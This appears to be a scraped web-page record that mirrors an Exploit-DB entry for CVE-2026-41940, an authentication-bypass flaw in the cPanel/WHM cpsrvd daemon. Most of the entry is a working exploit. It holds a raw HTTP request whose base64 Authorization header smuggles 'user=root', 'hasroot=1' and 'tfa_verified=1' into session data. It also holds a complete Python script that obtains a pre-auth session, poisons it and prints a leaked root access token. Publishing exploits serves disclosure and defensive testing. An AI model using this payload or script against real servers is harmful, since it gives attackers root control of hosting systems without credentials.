{“lastseen”:”2026-05-26T15:27:57″,”description”:”ExploitTitle: cPanel 11.40 – CRLF Injection Author: nu11secur1tyAI Date: 2026-04-30 Vendor: cPanel, L.L.C. Software: cPanel \\u0026 WHM cpsrvd Reference: CVE-2026-41940 \/ watchTowr-2026-01 Description: A critical authentication bypass vulnerability exists in…”,”published”:”2026-05-26T00:00:00″,”modified”:”2026-05-26T00:00:00″,”type”:”exploitdb”,”title”:”cPanel – CRLF Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52574″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-41940″],”sourceData”:”# ExploitTitle: cPanel 11.40 – CRLF Injection\\r\\n# Author: nu11secur1tyAI\\r\\n# Date: 2026-04-30\\r\\n# Vendor: cPanel, L.L.C.\\r\\n# Software: cPanel \\u0026 WHM (cpsrvd)\\r\\n# Reference: CVE-2026-41940 \/ watchTowr-2026-01\\r\\n\\r\\n## Description:\\r\\nA critical authentication bypass vulnerability exists in the cPanel\/WHM\\r\\n`cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in\\r\\nthe `whostmgrsession` cookie and `Authorization` headers. An\\r\\nunauthenticated remote attacker can leverage this flaw to inject malicious\\r\\nsession parameters directly into the server’s flat-file session metadata\\r\\nstore. By injecting sequences such as `user=root`, `hasroot=1`, and\\r\\n`tfa_verified=1`, the attacker subverts the internal authentication logic,\\r\\nforcing the system to issue a valid administrative session token\\r\\n(`\/cpsessXXXXXXXXXX\/`). This grants the attacker full `root` privileges\\r\\nover the WHM interface and the host operating system without requiring\\r\\nvalid credentials.\\r\\n\\r\\nSTATUS: MEDIUM – HIGH \/ Vulnerability\\r\\n\\r\\n[+] Payload:\\r\\n“`http\\r\\nGET \/ HTTP\/1.1\\r\\nHost: [TARGET_HOST]:2087\\r\\nAuthorization: Basic\\r\\ncm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x\\r\\nCookie: whostmgrsession=[PREAUTH_SESSION_ID]\\r\\nConnection: close\\r\\n“`\\r\\n\\r\\n[+] Exploit (Python):\\r\\n\\r\\nimport argparse\\r\\nimport re\\r\\nimport requests\\r\\nimport urllib.parse\\r\\nimport urllib3\\r\\n\\r\\n# Disable SSL warnings for cleaner output\\r\\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\r\\n\\r\\n# Crafted B64 payload:\\r\\n#\\r\\nroot:x\\\\r\\\\nsuccessful_internal_auth_with_timestamp=9999999999\\\\r\\\\nuser=root\\\\r\\\\ntfa_verified=1\\\\r\\\\nhasroot=1\\r\\nPAYLOAD_B64 =\\r\\n\\”cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x\\”\\r\\n\\r\\ndef exploit(target):\\r\\n s = requests.Session()\\r\\n s.verify = False\\r\\n\\r\\n print(f\\”[*] Initializing attack on {target}…\\”)\\r\\n\\r\\n # Stage 1: Obtain pre-auth session base\\r\\n try:\\r\\n r = s.post(f\\”{target}\/login\/?login_only=1\\”, data={\\”user\\”: \\”root\\”,\\r\\n\\”pass\\”: \\”wrong_pass\\”}, allow_redirects=False, timeout=10)\\r\\n cookie = r.headers.get(\\”Set-Cookie\\”, \\”\\”)\\r\\n match = re.search(r\\”whostmgrsession=([^;,]+)\\”, cookie)\\r\\n if not match:\\r\\n print(\\”[-] Error: Could not retrieve whostmgrsession cookie.\\”)\\r\\n return\\r\\n session_base = urllib.parse.unquote(match.group(1))\\r\\n print(f\\”[+] Obtained session base: {session_base}\\”)\\r\\n\\r\\n # Stage 2: Poison session via CRLF Injection\\r\\n headers = {\\r\\n \\”Authorization\\”: f\\”Basic {PAYLOAD_B64}\\”,\\r\\n \\”Cookie\\”: f\\”whostmgrsession={urllib.parse.quote(session_base)}\\”,\\r\\n \\”Connection\\”: \\”close\\”\\r\\n }\\r\\n r = s.get(f\\”{target}\/\\”, headers=headers, allow_redirects=False,\\r\\ntimeout=10)\\r\\n\\r\\n # Stage 3: Extract leaked security token\\r\\n location = r.headers.get(\\”Location\\”, \\”\\”)\\r\\n token_match = re.search(r\\”\/cpsess\\\\d{10}\\”, location)\\r\\n\\r\\n if token_match:\\r\\n token = token_match.group(0)\\r\\n print(f\\”[!] EXPLOIT SUCCESSFUL!\\”)\\r\\n print(f\\”[!] Leaked Token: {token}\\”)\\r\\n print(f\\”[!] Access URL: {target}{token}\/\\”)\\r\\n else:\\r\\n print(\\”[-] Exploit failed. The target may be patched or\\r\\nprotected by a WAF.\\”)\\r\\n\\r\\n except Exception as e:\\r\\n print(f\\”[-] Connection error: {e}\\”)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n parser = argparse.ArgumentParser(description=\\”cPanel\/WHM CVE-2026-41940\\r\\nExploit\\”)\\r\\n parser.add_argument(\\”–target\\”, required=True, help=\\”Target URL (e.g.,\\r\\n[https:\/\/192.168.1.1:2087](https:\/\/192.168.1.1:2087))\\”)\\r\\n args = parser.parse_args()\\r\\n exploit(args.target.rstrip(\\”\/\\”))\\r\\n\\r\\n“`\\r\\n[+]Reproduce:\\r\\nhttps:\/\/github.com\/nu11secur1ty\/CVE-mitre\/tree\/main\/2026\/CVE-2026-41940\\r\\n\\r\\nTime spent:\\r\\n03:45:00\\r\\n\\r\\n–\\r\\n\\r\\nSystem Administrator – Infrastructure Engineer\\r\\nPenetration Testing Engineer\\r\\nExploit developer at https:\/\/packetstormsecurity.com\/\\r\\nhttps:\/\/cve.mitre.org\/index.html\\r\\nhttps:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\r\\nhome page: https:\/\/www.asc3t1c-nu11secur1ty.com\/\\r\\nhiPEnIMR0v7QCo\/+SEH9gBclAAYWGnPoBIQ75sCj60E=\\r\\nnu11secur1ty https:\/\/www.asc3t1c-nu11secur1ty.com\/\\r\\n\\r\\n– \\r\\n\\r\\nSystem Administrator – Infrastructure Engineer\\r\\nPenetration Testing Engineer\\r\\nExploit developer at https:\/\/packetstorm.news\/\\r\\nhttps:\/\/cve.mitre.org\/index.html\\r\\nhttps:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\r\\n0day Exploit DataBase https:\/\/0day.today\/\\r\\nhome page: https:\/\/www.asc3t1c-nu11secur1ty.com\/\\r\\nhiPEnIMR0v7QCo\/+SEH9gBclAAYWGnPoBIQ75sCj60E=\\r\\n nu11secur1ty \\u003chttp:\/\/nu11secur1ty.com\/\\u003e”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52574″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52574″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-26T15:27:57″,”description”:”ExploitTitle: cPanel 11.40 – CRLF Injection Author: nu11secur1tyAI Date: 2026-04-30 Vendor: cPanel, L.L.C. Software: cPanel \\u0026 WHM cpsrvd Reference: CVE-2026-41940 \/ watchTowr-2026-01 Description: A critical…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-56933","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n